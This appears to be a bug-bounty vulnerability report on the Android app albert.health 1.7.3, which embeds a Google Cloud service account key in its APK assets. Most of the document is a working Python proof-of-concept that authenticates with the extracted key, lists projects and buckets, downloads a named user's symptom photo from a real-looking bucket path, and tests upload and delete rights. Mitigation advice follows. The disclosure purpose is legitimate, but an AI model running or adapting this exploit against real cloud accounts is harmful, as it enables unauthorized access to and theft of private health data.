Description

The Android application albert.health version 1.7.3 embeds a full Google Cloud service account key file in its assets. An attacker can extract this file via reverse engineering and use it to authenticate to Google Cloud Platform. With the stolen credentials, the attacker gains unauthorized access to cloud resources, including listing projects, accessing Cloud Storage buckets, reading and downloading files, uploading new files, deleting files and more.

Step To Reproduce

  1. Decompile the APK using jadx .
  2. Locate the service account key file in resources/assets/service-account.json.

image.png

  1. Use the extracted JSON credentials with Google Cloud client libraries to authenticate and interact with GCP services.
  2. Run the POC script to demonstrate listing projects, accessing buckets, downloading, and uploading files.

Video Proof of Concept

poc_albert_healthpy.gif

The POC successfully demonstrates listing accessible projects and buckets, downloading a user symptom photo from storage, uploading a test file, verifying that the downloaded content matches the uploaded file and deleting the uploaded file.

Principle

The app embeds a full Google Cloud service account key file (containing a private key and client email) in its assets. This file acts as an identity credential that allows anyone possessing it to authenticate as that service account and generate OAuth 2.0 access tokens. Using these tokens, an attacker can directly call Google Cloud APIs (such as Cloud Storage or Cloud Resource Manager) with some permissions assigned to that service account.

Mitigation

Remove the service account key file from the application assets immediately. Rotate the compromised service account key in Google Cloud Console to revoke the leaked credentials. Move all cloud interactions to a secure backend server that acts as a proxy, enforcing authentication and authorization. Store all secrets using environment variables or a dedicated secrets manager.

PoC

import requests
from google.oauth2 import service_account
from google.auth.transport import requests as google_requests

# ========== Step 1: Validate token access ==========
print("=== Step 1: Get access token ===")
credentials = service_account.Credentials.from_service_account_file(
    "service-account.json", # select service account key file
    scopes=["<https://www.googleapis.com/auth/cloud-platform>"]
)
auth_req = google_requests.Request()
credentials.refresh(auth_req)
token = credentials.token
print("Access token (first 100 chars):", token[:100])
print()

# Create common request headers
headers = {"Authorization": f"Bearer {token}"}

# ========== Step 2: List all accessible projects ==========
print("=== Step 2: List all projects ===")
resp = requests.get("<https://cloudresourcemanager.googleapis.com/v1/projects>", headers=headers)
if resp.status_code == 200:
    projects = resp.json().get('projects', [])
    print(f"Found {len(projects)} projects")
    for proj in projects:
        print(f"  - {proj['projectId']} ({proj.get('name', 'N/A')})")
else:
    print("Failed, status code:", resp.status_code, resp.text)
print()

# ========== Step 3: List buckets under main project ==========
print("=== Step 3: List buckets (project: studi-novitas-website) ===")
resp = requests.get("<https://storage.googleapis.com/storage/v1/b?project=studi-novitas-website>", headers=headers)
if resp.status_code == 200:
    buckets = resp.json().get('items', [])
    print(f"Found {len(buckets)} buckets")
    for bucket in buckets:
        print(f"  - {bucket['name']}")
else:
    print("Failed, status code:", resp.status_code, resp.text)
print()

# ========== Step 4: List objects in albert-users bucket ==========
print("=== Step 4: List objects in albert-users bucket ===")
bucket_name = "albert-users"
url = f"<https://storage.googleapis.com/storage/v1/b/{bucket_name}/o>"
resp = requests.get(url, headers=headers)
if resp.status_code == 200:
    objects = resp.json().get('items', [])
    print(f"Found {len(objects)} objects, examples:")
    for obj in objects[:5]:  # Print only the first 5 to avoid excessive output
        print(f"  - {obj['name']} ({obj.get('size', 0)} bytes)")
else:
    print("Failed, status code:", resp.status_code, resp.text)
print()

# ========== Step 5: Download a sample file ==========
print("=== Step 5: Download a sample file ===")
media_link = (
    '<https://storage.googleapis.com/download/storage/v1/b/albert-users/o/>'
    '1miuOHul5pT0aDxld5ZNMMffs603%2F1724153123370_rn_image_picker_lib_temp_3961b151-1dec-46a4-8456-b88dc75772f4.jpg'
    '?generation=1724153124148284&alt=media'
)
response = requests.get(media_link, headers=headers, stream=True)
if response.status_code == 200:
    with open('downloaded_image.jpg', 'wb') as f:
        for chunk in response.iter_content(chunk_size=8192):
            f.write(chunk)
    print("✅ File downloaded successfully! Saved as downloaded_image.jpg")
else:
    print(f"❌ Download failed, status code: {response.status_code}")
    print(response.text)

safe_bucket = "albert-experimental-bucket"

# ========== Step 6: Test upload permission (safe test) ==========
print("=== Step 6: Upload test file ===")
if safe_bucket:
    test_bucket_name = safe_bucket
    test_file_name = f"test.txt"
    test_content = f"test"

    # Use the correct upload endpoint
    upload_url = f"<https://storage.googleapis.com/upload/storage/v1/b/{test_bucket_name}/o>"
    params = {"name": test_file_name}
    upload_headers = headers.copy()
    upload_headers["Content-Type"] = "text/plain"

    upload_response = requests.post(
        upload_url,
        params=params,
        headers=upload_headers,
        data=test_content
    )

    if upload_response.status_code == 200:
        print("✅ Upload successful!")

        # Verify file exists and is readable
        get_url = f"<https://storage.googleapis.com/storage/v1/b/{test_bucket_name}/o/{test_file_name}>"
        get_response = requests.get(get_url, headers=headers)
        if get_response.status_code == 200:
            print("✅ File exists and metadata is readable.")
            media_link = get_response.json().get('mediaLink')
            if media_link:
                # Download and save to local file
                download_response = requests.get(media_link, headers=headers, stream=True)
                if download_response.status_code == 200:
                    with open('downloaded_test.txt', 'wb') as f:
                        for chunk in download_response.iter_content(chunk_size=8192):
                            f.write(chunk)
                    print("✅ File downloaded as downloaded_test.txt")

                    # Verify content
                    with open('downloaded_test.txt', 'r') as f:
                        saved_content = f.read()
                        if saved_content == test_content:
                            print("✅ Downloaded content matches upload; read/write permission verified.")
                        else:
                            print("⚠️ Downloaded content mismatch.")
                else:
                    print("⚠️ Download failed.")
        else:
            print("⚠️ Upload succeeded but metadata could not be read.")

        # Cleanup: delete test file
        delete_response = requests.delete(get_url, headers=headers)
        if delete_response.status_code == 204:
            print("✅ Test file deleted.")
        else:
            print("⚠️ Delete failed, status code:", delete_response.status_code)

    elif upload_response.status_code == 403:
        print("❌ Upload failed: no write permission (403).")
    else:
        print(f"❌ Upload failed, status code: {upload_response.status_code}")
        print(upload_response.text)
else:
    print("Skipping write test: no safe test bucket found.")
print()

print("=== All steps completed ===")

Impact

An attacker can fully impersonate the compromised service account, gaining access to all Google Cloud resources that the account has permissions for. This includes reading, downloading sensitive user data stored in Cloud Storage ,uploading files, deleting files and accessing databases. Such access can lead to massive data breaches, service disruption, and reputational damage.

References